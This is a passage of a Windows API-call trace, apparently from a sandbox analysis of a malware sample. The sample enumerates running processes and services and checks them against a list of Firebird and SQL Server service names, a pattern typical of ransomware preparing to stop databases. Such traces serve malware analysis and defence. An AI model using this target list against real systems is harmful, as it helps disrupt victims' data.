lstrlenW (lpString="StateRepository") returned 15 [0300.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0300.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0300.189] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0300.189] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0300.189] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45dee78 | out: hHeap=0x6e0000) returned 1 [0300.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x528 [0300.193] Process32FirstW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.193] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0300.194] lstrlenW (lpString="System") returned 6 [0300.194] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0300.195] lstrlenW (lpString="smss.exe") returned 8 [0300.195] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.195] lstrlenW (lpString="csrss.exe") returned 9 [0300.195] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0300.196] lstrlenW (lpString="wininit.exe") returned 11 [0300.196] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.197] lstrlenW (lpString="csrss.exe") returned 9 [0300.197] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0300.197] lstrlenW (lpString="winlogon.exe") returned 12 [0300.197] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0300.198] lstrlenW (lpString="services.exe") returned 12 [0300.198] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0300.199] lstrlenW (lpString="lsass.exe") returned 9 [0300.199] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0300.199] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0300.199] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0300.200] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0300.200] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.201] lstrlenW (lpString="svchost.exe") returned 11 [0300.201] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.201] lstrlenW (lpString="svchost.exe") returned 11 [0300.201] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0300.202] lstrlenW (lpString="dwm.exe") returned 7 [0300.202] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.203] lstrlenW (lpString="svchost.exe") returned 11 [0300.203] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.204] lstrlenW (lpString="svchost.exe") returned 11 [0300.204] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.204] lstrlenW (lpString="svchost.exe") returned 11 [0300.204] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.205] lstrlenW (lpString="svchost.exe") returned 11 [0300.205] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.206] lstrlenW (lpString="svchost.exe") returned 11 [0300.206] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.207] lstrlenW (lpString="svchost.exe") returned 11 [0300.207] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.207] lstrlenW (lpString="svchost.exe") returned 11 [0300.207] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.208] lstrlenW (lpString="svchost.exe") returned 11 [0300.208] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.209] lstrlenW (lpString="svchost.exe") returned 11 [0300.209] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.209] lstrlenW (lpString="svchost.exe") returned 11 [0300.209] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0300.210] lstrlenW (lpString="spoolsv.exe") returned 11 [0300.210] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0300.211] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0300.211] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0300.211] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0300.211] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0300.212] lstrlenW (lpString="Memory Compression") returned 18 [0300.212] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.213] lstrlenW (lpString="svchost.exe") returned 11 [0300.213] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0300.213] lstrlenW (lpString="audiodg.exe") returned 11 [0300.214] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0300.214] lstrlenW (lpString="sihost.exe") returned 10 [0300.214] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.215] lstrlenW (lpString="svchost.exe") returned 11 [0300.215] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0300.216] lstrlenW (lpString="taskhostw.exe") returned 13 [0300.216] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0300.216] lstrlenW (lpString="explorer.exe") returned 12 [0300.216] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0300.217] lstrlenW (lpString="SearchUI.exe") returned 12 [0300.217] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0300.218] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0300.218] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0300.218] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0300.218] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0300.219] lstrlenW (lpString="1csrss.exe") returned 10 [0300.219] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.220] lstrlenW (lpString="svchost.exe") returned 11 [0300.220] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0300.220] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0300.220] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.221] lstrlenW (lpString="svchost.exe") returned 11 [0300.221] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0300.222] lstrlenW (lpString="consent.exe") returned 11 [0300.222] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0300.223] CloseHandle (hObject=0x528) returned 1 [0300.223] Sleep (dwMilliseconds=0x1f4) [0300.736] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddfc0 [0300.737] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0300.737] GetLastError () returned 0xea [0300.737] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0300.737] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0300.738] CloseServiceHandle (hSCObject=0x7ddfc0) returned 1 [0300.738] lstrlenW (lpString="Appinfo") returned 7 [0300.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0300.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0300.738] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0300.738] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0300.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0300.738] lstrlenW (lpString="AppXSvc") returned 7 [0300.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0300.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0300.738] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0300.738] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0300.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0300.738] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0300.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0300.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0300.739] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0300.739] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0300.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0300.739] lstrlenW (lpString="Audiosrv") returned 8 [0300.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0300.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0300.739] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0300.739] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0300.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0300.739] lstrlenW (lpString="BFE") returned 3 [0300.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0300.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0300.739] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0300.739] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0300.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0300.739] lstrlenW (lpString="BITS") returned 4 [0300.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0300.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0300.739] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0300.739] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0300.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0300.739] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0300.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0300.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0300.739] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0300.739] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0300.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0300.739] lstrlenW (lpString="CDPSvc") returned 6 [0300.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0300.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0300.740] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0300.740] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0300.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0300.740] lstrlenW (lpString="ClickToRunSvc") returned 13 [0300.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0300.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0300.740] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0300.740] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0300.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0300.740] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0300.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0300.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0300.740] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0300.740] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0300.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0300.740] lstrlenW (lpString="CryptSvc") returned 8 [0300.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0300.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0300.740] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0300.740] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0300.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0300.740] lstrlenW (lpString="DcomLaunch") returned 10 [0300.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0300.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0300.741] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0300.741] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0300.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0300.741] lstrlenW (lpString="DeviceAssociationService") returned 24 [0300.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0300.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0300.741] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0300.741] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0300.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0300.741] lstrlenW (lpString="Dhcp") returned 4 [0300.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0300.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0300.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0300.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0300.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0300.741] lstrlenW (lpString="Dnscache") returned 8 [0300.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0300.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0300.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0300.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0300.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0300.741] lstrlenW (lpString="DoSvc") returned 5 [0300.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0300.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0300.742] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0300.742] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0300.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0300.742] lstrlenW (lpString="DPS") returned 3 [0300.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0300.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0300.742] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0300.742] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0300.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0300.742] lstrlenW (lpString="DusmSvc") returned 7 [0300.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0300.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0300.742] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0300.742] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0300.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0300.742] lstrlenW (lpString="EventLog") returned 8 [0300.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 